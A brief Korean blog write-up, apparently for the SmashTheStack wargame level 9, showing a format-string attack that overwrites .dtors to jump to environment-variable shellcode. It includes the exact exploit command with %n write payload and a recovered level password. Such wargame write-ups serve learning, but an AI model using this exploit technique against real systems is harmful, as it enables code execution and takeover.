strncpy 때문에 버퍼오버플로우가 일어나지 않는다.
따라서 printf(buf); 의 Format String Bug를 통해 포맷스트링 어택을 하자.
일단 쉘코드를 올려보자. (환경변수 사용)
.dtors를 사용해 공격하자
.dtors + 4 에 0xfee7
.dtors + 6 에 0xbfff
가 있다.
0x080494d0 이 .dtors 의 위치이다.
(objdump -h level09 | grep .dtors)로 찾아봐라...
$-flag를 사용했다.
./level09 `python -c 'print "\xd4\x94\x04\x08\xd6\x94\x04\x08"+"%3$65247c%4$n%3$49432c%5$n"'`
UT3ROlnUqI0R2nJA
'pwnable > SmashTheStack' 카테고리의 다른 글
| SmashTheStack ㅅㅁㅅㄷㅅㅌ level8 (0) | 2016.11.13 |
|---|---|
| SmashTheStack ㅅㅁㅅㄷㅅㅌ level7 (0) | 2016.11.03 |
| SmashTheStack ㅅㅁㅅㄷㅅㅌ level6 (0) | 2016.11.03 |
| SmashTheStack ㅅㅁㅅㄷㅅㅌ level5 (0) | 2016.11.02 |
| SmashTheStack ㅅㅁㅅㄷㅅㅌ level4 (0) | 2016.11.02 |